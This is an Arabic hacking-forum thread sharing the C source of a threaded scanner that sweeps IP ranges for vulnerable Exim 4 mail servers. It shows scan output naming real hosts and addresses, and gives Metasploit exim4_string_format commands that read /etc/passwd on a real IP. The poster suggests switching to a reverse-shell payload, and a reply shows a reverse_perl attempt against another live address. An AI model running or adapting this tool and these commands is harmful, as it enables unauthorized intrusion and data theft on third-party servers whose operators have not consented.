Exim Remote Scanner nood Server

السلام عليكم ورحمة الله وبركاتة

اداة بسيطة يمكن معروفة عند البعض :slight_smile:

عملها فحص السيرفرات التي على الشبكة
"ابو بما يسمى عند البعض الهايبر أو النود "
من ثغرة exim stmp

   

./exim_scan -s 80.237.132.33 -e 80.237.255.255 -t 20 -n 50 -p 25 -l sec4ever.txt 
Exim4 Remote Scanner.

Set highest priority 
Set Max open files to : 1024
Set Logfile : sec4ever.txt
Scan start : 31711 hosts , 50 threads ...

---------------------------------------------------------------- 
80.237.141.10                            220 srv05.tj-edv.de ESMTP Exim 4.63 Fri, 24 Dec 2010 12:17:22 +0100
80.237.145.35                            220 mail.dalailama-hamburg.de ESMTP Exim 4.50 Fri, 24 Dec 2010 12:20:50 +0100
80.237.153.41                            220-server.event-it-store.de ESMTP Exim 4.69 #1 Fri, 24 Dec 2010 12:26:46 +0100
80.237.154.40                            220 portabox.local.com ESMTP Exim 4.68 Fri, 24 Dec 2010 11:27:01 +0000
80.237.154.66                            220 mm1.gdata.de ESMTP Exim 4.63 Fri, 24 Dec 2010 12:27:09 +0100
80.237.154.117                           220 ds80-237-154-117.dedicated.hosteurope.de ESMTP Exim 4.69 Fri, 24 Dec 2010 12:27:10 +0100
80.237.155.85                            220 qsmirror01.gdatasecurity.de ESMTP Exim 4.69 Fri, 24 Dec 2010 12:27:27 +0100
80.237.155.86                            220 qsmirror02.gdatasecurity.de ESMTP Exim 4.69 Fri, 24 Dec 2010 12:27:27 +0100
80.237.157.25                            220 secksie.org ESMTP Exim 4.69 Fri, 24 Dec 2010 12:27:54 +0100
80.237.157.45                            220 server.mfkom.de ESMTP Exim 4.69 Fri, 24 Dec 2010 12:27:59 +0100
80.237.157.97                            220 de1.coguan.com ESMTP Exim 4.63 Fri, 24 Dec 2010 12:30:17 +0100
80.237.158.89                            220 sester.sidebysite.de ESMTP Exim 4.63 Fri, 24 Dec 2010 12:28:18 +0100
80.237.158.37                            220 homer.pl ESMTP Exim 4.69 Fri, 24 Dec 2010 12:25:40 +0100
80.237.158.45                            220 mm2.gdata.de ESMTP Exim 4.63 Fri, 24 Dec 2010 12:28:19 +0100
80.237.159.54                            220 jugene.betalounge.com ESMTP Exim 4.69 Fri, 24 Dec 2010 12:28:39 +0100
80.237.162.171                           220 familie-deden.de ESMTP Exim 4.63 Fri, 24 Dec 2010 12:30:49 +0100


كود الملف

  

/* 
* For Linux:
* gcc -o exim_scan exim_scan.c -O3 -Wall -pipe -DLinux -lpthread
* For FreeBSD:
* gcc -o exim_scan exim_scan.c -O3 -Wall -pipe -lpthread
*/
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
#include <assert.h>
#include <poll.h>
#include <fcntl.h>
#include <sys/time.h>
#include <pthread.h>
#include <regex.h>

#define TIMEOUT                 10 
#define MAXHOSTS                0x7fffffff
#define THREADS                 256

#ifdef Linux 
/*
* Normal data may be read.
  */
#define POLLRDNORM              0x040
#endif

/////////////////////////////// .... /////////////////////////////////////// 

static FILE *output = NULL; 
extern int errno;
static char *start = NULL;      /* start host */
static char *end = NULL;       /* end host */
static int port = 25;
/* Number of IP will be scanned */
static int totnum = 0;
/* thread id */
static pthread_t tid;
static int inum = 0;
/* start time */
static time_t t1, t2;
/* number of threads */
static int thdnum = THREADS;
/* current number of threads */
static int curnum = 0;
static int timeout = TIMEOUT;
/* Mutex lock for 'curnum' */
static pthread_mutex_t mutex_curnum = PTHREAD_MUTEX_INITIALIZER;
/* cond for curnum */
static pthread_cond_t cond_curnum = PTHREAD_COND_INITIALIZER;

static void terminate(void) 
{
        if (output != stdout) {
                fclose(output);
                output = stdout;
        }
        _exit(EXIT_SUCCESS);
}

static void on_terminate(int signo) 
{
        time_t t2 = time(NULL);
        fprintf(stderr, "----------------------------------------------------------------

");
        fprintf(stderr,"Receive SIG NUM:%d %d/%d hosts, %lu secs, %ld hosts/sec .
", signo, inum + 1,
                totnum, t2-t1, (inum+1)/(t2-t1));
        pthread_mutex_destroy(&mutex_curnum);
        pthread_cond_destroy(&cond_curnum);
        exit(EXIT_SUCCESS);
}  /* end of on_terminate */

static void on_sigchld(int signo) 
{
        pid_t pid;
        int status;

          while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {
                fprintf(stderr, "child <%u> terminated", (unsigned int)pid);
        }  /* end of while */
        return;
}  /* end of on_sigchld */

/* 
* .......
*/
static void init_signal(void)
{
        unsigned int    i;

          atexit(terminate);
        for ( i = 1; i < 9; i++ ) {
                signal( i, on_terminate );
        }
        signal(SIGTERM, on_terminate);
        signal(SIGALRM, on_terminate);
        signal(SIGCHLD, on_sigchld);
        return;
}  /* end of init_signal */

/* new: 
* tcp connect with no block socket, host to ip.
* millisecond timeout, it's will be fast.
* ;D
* 2003/06/23 add by Sam
*/

static int tcpConnect(const char *ip, unsigned int port, unsigned int timeout) 
{
        int sock, flag, pe = 0;
        size_t pe_len;
        fd_set rset;
        struct timeval tv;
        struct sockaddr_in addr;

          sock = socket(AF_INET, SOCK_STREAM, 0);
        if (-1 == sock) {
                perror("tcpConnect:socket
");
                return -1;
        }

          addr.sin_addr.s_addr = inet_addr(ip);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port);


           flag = fcntl(sock, F_GETFL);
        if (-1 == flag) {
                perror("tcpConnect:fcntl
");
                close(sock);
                return -1;
        }

          flag |= O_NONBLOCK;
        if (fcntl(sock, F_SETFL, flag) < 0) {
                perror("tcpConnect:fcntl
");
                close(sock);
                return -1;
        }

          if (connect(sock, (const struct sockaddr *)&addr,
                            sizeof(addr)) < 0 &&
            errno != EINPROGRESS) {
                close(sock);
                return -1;
        }


           tv.tv_sec = timeout/1000;
        tv.tv_usec = timeout%1000;

          FD_ZERO(&rset);
        FD_SET(sock, &rset);

          if (select(sock+1, &rset, &rset, NULL, &tv) <= 0) {
                close(sock);
                return -1;
        }

          pe_len = sizeof(pe);

          if (getsockopt(sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
                perror("tcpConnect:getsockopt
");
                close(sock);
                return -1;
        }

          if (pe != 0) {
                errno = pe;
                close(sock);
                return -1;
        }

          if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
                perror("tcpConnect:fcntl
");
                close(sock);
                return -1;
        }
        pe = 1;

          if (setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, &pe, pe_len) < 0) {
                perror("tcpConnect:setsockopt
");
                close(sock);
                return -1;
        }


           return sock;
}

static void check_exim(char *host) 
{
        int sock, retval, i;
        unsigned char buff[1024], resp[512], errbuf[1024];
        struct pollfd fds[1];
        regex_t re;
        regmatch_t subs[10];
        char *pattern = "Exim 4\\.[0-6][0-9]";

          retval = regcomp(&re, pattern, REG_EXTENDED);
        if (retval) {
                regerror(retval, &re, errbuf, sizeof(errbuf));
                //printf("error: regcomp: %s
", errbuf);
                goto nonssl_out;
        }
        /*
         * net connect
         */
        if ((sock = tcpConnect(host, port, (timeout - timeout / 2) * 1000)) <= 0) {
                retval = 0;
                goto nonssl_out;
        }

          fds[0].fd = sock;
        fds[0].events = POLLRDNORM;

          /*
         * set poll timeout (usec)
         */
        retval = poll(fds, 1, (timeout - timeout / 2) * 1000);
        if (retval <= 0) {
                goto nonssl_out;
        }

          if (fds[0].revents & POLLRDNORM) {
                    retval = read(sock, resp, sizeof(resp));
                    if (retval <= 0) {
                               goto nonssl_out;
                    }

                      for (i = 0; i < retval; i ++) {
                        if (resp[i] == '\r'||resp[i] == '
') {
                                resp[i] = '';
                        }
                    }

                 retval = regexec(&re, resp, 10, subs, 0);
               if (retval == REG_NOMATCH) goto nonssl_out;
               else if (retval != 0) {
                     regerror(retval, &re, errbuf, sizeof(errbuf));
                     //printf("error: regexec: %s
", errbuf);
                     goto nonssl_out;
               }
               // matched
               if (output != stdout) {
                     fprintf(stderr, "%-40s %s
", host, resp);   // also output in console.
               }
               fprintf(output, "%-40s %s
", host, resp);
               goto nonssl_out;
        }

nonssl_out: 
        if (sock) {
          close(sock);
          sock = -1;
        }

          regfree(&re);
        return;
}



static void *init_scan(void *arg)   
{
        pthread_t thread_id;
        /*
         * there some signal code ripped from scz's code
         */
        sigset_t signal_mask;

          thread_id = pthread_self();
        if (0 != sigfillset(&signal_mask)) {
                fprintf(stderr, "sigfillset error in thread [%u]
", (unsigned int)thread_id);
                exit(EXIT_FAILURE);
        }
        /*
         * ........
         */
        if (0 != sigprocmask(SIG_BLOCK, &signal_mask, NULL)) {
                fprintf(stderr, "sigprocmask error in thread [%u]
", (unsigned int)thread_id);
                exit(EXIT_FAILURE);
        }

          pthread_detach(thread_id);
        check_exim(arg);


#if 0  
        fprintf(stderr, "%d: scan %s
", pthread_self(), arg);
#endif

          free(arg);

          pthread_mutex_lock(&mutex_curnum);
        curnum--;
        pthread_cond_broadcast(&cond_curnum);
        pthread_mutex_unlock(&mutex_curnum);

          return NULL;
}

/* 
* Print usage messages
*/
static void usage(char *s)
{
        fprintf(stderr, "Usage: %s [-s startip] [-e endip] [-t timeout] [-n maxthreadnum] [-p port:25] [-l logfile] [-h?]

", s);
}

int main(int argc, char *argv[]) 
{
        int i;
        struct rlimit rl;
        struct in_addr current_ip;      /* current ip */
        struct in_addr final_ip;        /* last ip to scan */
        char *host, *file = "./exim.ips";

          fprintf(stderr, "Exim4 Remote Scanner.

");

          while ((i = getopt(argc,argv,"h?:s:e:t:n:p:l:")) != EOF) {
                switch (i) {
                        case 's':
                                start = strdup(optarg);
                                if(!inet_aton(start, &current_ip)) {
                                        fprintf(stderr, "invalid IP address: %s
", start);
                                        return -1;
                                }
                                break;
                        case 'e':
                                end = strdup(optarg);
                                if(!inet_aton(end, &final_ip)) {
                                        fprintf(stderr, "invalid IP address: %s
", end);
                                        return -1;
                                }
                                break;
                        case 't':
                                timeout = atoi(optarg);
                                break;
                        case 'n':
                                thdnum = atoi(optarg);
                                break;
                        case 'p':
                                port = atoi(optarg);
                                break;
                   case 'l':
                                file = strdup(optarg);
                                break;
                        case 'h':
                        case '?':
                                usage(argv[0]);
                                exit(EXIT_FAILURE);
                }
        }

          if (start == NULL && end == NULL) {
                usage(argv[0]);
                exit(EXIT_FAILURE);
        }

          init_signal();
        /* Set highest priority */
        if (!geteuid()) {
                fprintf(stderr, "Set highest priority 
");
                setpriority(PRIO_PROCESS, 0, -20);
        }

          /* Raise number of open files */
        if (!getrlimit(RLIMIT_NOFILE, &rl)) {
                fprintf(stderr, "Set Max open files to : %d
", (int )rl.rlim_max);
                rl.rlim_cur = rl.rlim_max;
                setrlimit(RLIMIT_NOFILE, &rl);
        }

          if (thdnum + 10 > rl.rlim_cur) {
                thdnum = rl.rlim_cur - 10;
                fprintf(stderr, "Too many threads,set threads number to %d
", thdnum);
        }

          totnum = (ntohl(final_ip.s_addr) - ntohl(current_ip.s_addr)) + 1;

          if (totnum > MAXHOSTS) {
                fprintf(stderr, "Too may hosts, MAX hosts: %d
", MAXHOSTS);
                exit(EXIT_FAILURE);
        }

          output = stdout;

          if (file != NULL) {
                fprintf(stderr, "Set Logfile : %s
", file);
                if ((output = fopen(file, "w+")) == NULL) {
                        fprintf(stderr, "Error in open Logfile %s :%s
", file, strerror(errno));
                        return(EXIT_FAILURE);
                }
        }

          fprintf(stderr,"Scan start : %d hosts , %d threads ...

",totnum, thdnum);
        fprintf(stderr, "----------------------------------------------------------------
");

          t1 = time(NULL);
        for (inum = 0; inum < totnum; inum ++) {
                host = calloc(16, 1);
                if (host == NULL) {
                        fprintf(stderr, "No memory left
");
                        return -1;
                }
                sprintf(host, "%s", inet_ntoa(current_ip));
                current_ip.s_addr = htonl(ntohl(current_ip.s_addr)+1);

                  pthread_mutex_lock(&mutex_curnum);
                if (curnum >= thdnum) {
                        pthread_cond_wait(&cond_curnum, &mutex_curnum);
                }
                curnum ++;
                pthread_mutex_unlock(&mutex_curnum);
                /*
                 * ..........
                 */
                if (pthread_create(&tid, NULL, (void *)init_scan, (void *)host) != 0) {
                        fprintf(stderr, "pthread_create: %s
", strerror(errno));
                        exit(EXIT_FAILURE);
                }
        }


           pthread_mutex_lock(&mutex_curnum);
        while(curnum > 0) {
                pthread_cond_wait(&cond_curnum, &mutex_curnum);
        }
        pthread_mutex_unlock(&mutex_curnum);

          t2 = time(NULL);

          fprintf(stderr, "----------------------------------------------------------------
");
        fprintf(stderr, "
Scan completed, %ld sec  ", t2-t1);
        if (t2 - t1)
                fprintf(stderr, "%ld hosts/sec.
", totnum/(t2-t1));
        else
                fprintf(stderr, " 
");

          pthread_mutex_destroy(&mutex_curnum);
        pthread_cond_destroy(&cond_curnum);
        return(EXIT_SUCCESS);
}


اما بخصوص الاستغلال للثغرة

  

use exploit/unix/smtp/exim4_string_format 

set rhost 80.237.132.33 

set payload cmd/unix/generic 

set CMD 'cat /etc/passwd' 



وبامكانك تغير البايلود الى اتصال عكسي والبايلودات كثيرة :slight_smile:

بالاخير الحقوق محفوضة لــ a guest

المصدر

دمتم بود … :slight_smile:

شكرا لك أخي

وشكرا لك على حفض الحقوق وهذا جميل منك

يريت لو تتكرم وتشرحها للأعضاء لاني كنت أريد أن اجربها و أشرحها ولكن لم اجد الوقة

وشكرا لك

شكرا لك على تنزيل مميز

وبركة حبيبي

لآهنت يالغالي ~

ثغرة قوية … وشرحك سلس ومبسط لهآ ^^

تسلم يا برنس
بموت انا فى الشروحات السريعه المفهومه دى
هههههههه
مشكور مره تانيه يا ريس

ﻻهنت على الشرح سريع ومختصر

مشككور حبيبي شرح خفيف و مفهوم … ان شاء لله نجربها اذا سمح الوقت

وعليكم السلام أخي

هل معك الملف مترجم وجاهز تضعه لنا؟

لأنني أعمل على الريدهات ولم أتمكن من ذلك

منورين الموضوع بطلتكم الحلوة :slight_smile:

بخصوص ترجمة الملف موجود بالكود طريقة الترجمة سواء لينكس أو Freebsd

لابد من نضام لينكس :slight_smile:

سلام عليك ياباند
مشاء الله عليك بس
تحياتي لك …

يا أخي يطلعي خطأ في بعض الدوال

ممكن لعدم وجود بعض المكتبات أو شئ من هذا

لذلك طلبت منك أن تضع الملف مترجم وجاهز إن وجد

 # gcc -o exim_scan exim_scan.c -O3 -Wall -pipe -DLinux -lpthread

/usr/lib/gcc/i386-redhat-linux/4.1.1/../../../crt1.o: In function `_start':
(.text+0x18): undefined reference to `main'
collect2: ld a retourné 1 code d'état d'exécution

لكن سأجرب على الباك تراك على اية حال وشكرا

yum install gcc

or
apt-get install gcc

ﻻ هنت يآ بطـل … شرح مفهوم وجميـل

لبى قلبك يابو رهف .

يعطيك الف الف الف الف عافيه

: اخوكـ ابوهليل .

thx bro

I can’t do this bug.
How to exploit by private IP, ip don’t know how to do port forwarding
Exam:
msf > use exploit/unix/smtp/exim4_string_format
msf > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf exploit(exim4_string_format) > set LHOST 192.168.70.129
LHOST => 192.168.70.129
msf exploit(exim4_string_format) > set RHOST 46.243.8.219
RHOST => 46.243.8.219
msf exploit(exim4_string_format) > exploit
[li] Started reverse handler on 192.168.70.129:4444 [/li][li] Connecting to sites ip:25 …[/li][-] Exploit exception: The connection timed out (46.243.8.219:25).
[*] Exploit completed, but no session was created.

شكرا ااخي على ادات روعة

ممتاز ياريس
بس ياريت شرح
فيديو
او صور
علشان نركز فيها اكتر
:slight_smile: